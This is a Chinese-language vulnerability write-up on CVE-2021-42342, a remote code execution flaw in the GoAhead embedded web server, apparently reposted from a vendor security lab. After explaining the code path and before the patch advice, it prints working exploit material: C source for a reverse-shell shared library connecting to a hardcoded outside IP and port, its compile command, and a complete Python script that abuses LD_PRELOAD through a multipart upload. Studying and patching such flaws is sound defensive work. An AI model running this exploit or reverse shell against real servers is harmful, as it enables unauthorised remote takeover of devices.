漏洞背景
GoAhead是一个开源(商业许可)、简单、轻巧、功能强大、可以在多个平台运行的嵌入式Web Server。GoAhead Web Server是为嵌入式实时操作系统(RTOS)量身定制的Web服务器。
漏洞信息
文件上传过滤器存在安全漏洞,用户表单变量可以传递给 CGI 脚本,而无需使用 CGI 前缀作为前缀。表单变量作为环境变量传递,导致环境变量被覆盖,造成 RCE 。
受影响版本:
-
5.x<=GoAhead<5.1.5
-
GoAhead =4.x
CVE 信息:
-
https://github.com/embedthis/goahead/issues/305
漏洞详情
Post 请求中的表单变量使用 ME_GOAHEAD_CGI_VAR_PREFIX 作为前缀,该前缀通常设置为 CGI_ 。但是上传过滤器没有设置不受信任的 var 位,因此 CGI 处理程序不使用前缀,导致环境被覆盖。
具体代码在 cgi.c :
ME_GOAHEAD_CGI_VAR_PREFIX
是 cgi 前缀配置。s->arg
为 1 是标记为不受信任的关键字,会在上图位置加入 cgi 前缀。检索源码中标记 sp-arg = 1
的代码:
在 addFormVars 这个函数调用,函数处理完成后会将标志位置为 1 ,后续就会进行加前缀。addFormVars 在两处地方存在调用,分别在 websSetQueryVars 和 websSetFormVars
websSetQueryVars 和 websSetFormVars 在 websRunRequest 被调用:
websRunRequest 被 websPump 调用,每个 http 请求由 readEvent 调用 websPump 进行处理,在 parseHeaders 对 http 请求的 contentType 进行处理:
将 contentType 设置成 multipart/form-data ,wp->flags
就是上传模式,不会调用到 sp-arg = 1
利用触发与之前爆出的 CVE-2017-17562 一样。
EXP
Vulhub 已经有复现环境:vulhub/goahead:5.1.4
利用方法大概是将反弹 shell 编译成动态库,利用 LD_PRELOAD
将运行环境强行修改动态库,以此运行恶意代码。
反弹 shell 动态库:
#include<stdio.h>
#include<stdlib.h>
#include<sys/socket.h>
#include<netinet/in.h>
char *server_ip="120.24.72.234";
uint32_t server_port=7777;
static void reverse_shell(void) __attribute__((constructor));
static void reverse_shell(void)
{
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in attacker_addr = {0};
attacker_addr.sin_family = AF_INET;
attacker_addr.sin_port = htons(server_port);
attacker_addr.sin_addr.s_addr = inet_addr(server_ip);
if(connect(sock, (struct sockaddr *)&attacker_addr,sizeof(attacker_addr))!=0)
exit(0);
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
execve("/bin/bash", 0, 0);
}
编译指令:gcc exp.c -fPIC -shared -o exp.so -nostartfile
数据包构造脚本:
import sys
import socket
import ssl
import random
from urllib.parse import urlparse, ParseResult
PAYLOAD_MAX_LENGTH = 16384 - 200
def exploit(client, parts: ParseResult, payload: bytes):
path = '/' if not parts.path else parts.path
boundary = '----%s' % str(random.randint(1000000000000, 9999999999999))
padding = 'a' * 2000
content_length = min(len(payload) + 500, PAYLOAD_MAX_LENGTH)
data = fr'''POST {path} HTTP/1.1
Host: {parts.hostname}
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary={boundary}
Content-Length: {content_length}
--{boundary}
Content-Disposition: form-data; name="LD_PRELOAD";
/proc/self/fd/7
--{boundary}
Content-Disposition: form-data; name="data"; filename="exp.so"
Content-Type: text/plain
#payload#{padding}
--{boundary}--
'''.replace('n', 'rn')
data = data.encode().replace(b'#payload#', payload)
client.send(data)
resp = client.recv(20480)
print(resp.decode())
def main():
target = sys.argv[1]
payload_filename = sys.argv[2]
with open(payload_filename, 'rb') as f:
data = f.read()
if len(data) > PAYLOAD_MAX_LENGTH:
raise Exception('payload size must not larger than %d', PAYLOAD_MAX_LENGTH)
parts = urlparse(target)
port = parts.port
if not parts.port:
if parts.scheme == 'https':
port = 443
else:
port = 80
context = ssl.create_default_context()
with socket.create_connection((parts.hostname, port), timeout=8) as client:
if parts.scheme == 'https':
with context.wrap_socket(client, server_hostname=parts.hostname) as ssock:
exploit(ssock, parts, data)
else:
exploit(client, parts, data)
if __name__ == '__main__':
main()
修复方案
更新至 goahead 5.1.5 版本。具体在 upload.c 将不信任标志位置 1 :
参考
https://mp.weixin.qq.com/s/AS9DHeHtgqrgjTb2gzLJZg
https://paper.seebug.org/1808
https://github.com/kimusan/goahead-webserver-pre-5.1.5-RCE-PoC-CVE-2021-42342-
https://github.com/vulhub/vulhub/tree/54e1b989f53de31d3ea1d3f711f2284917c625c0/goahead/CVE-2021-42342
原文始发于微信公众号(山石网科安全技术研究院):CVE-2021-42342-GoAhead远程代码执行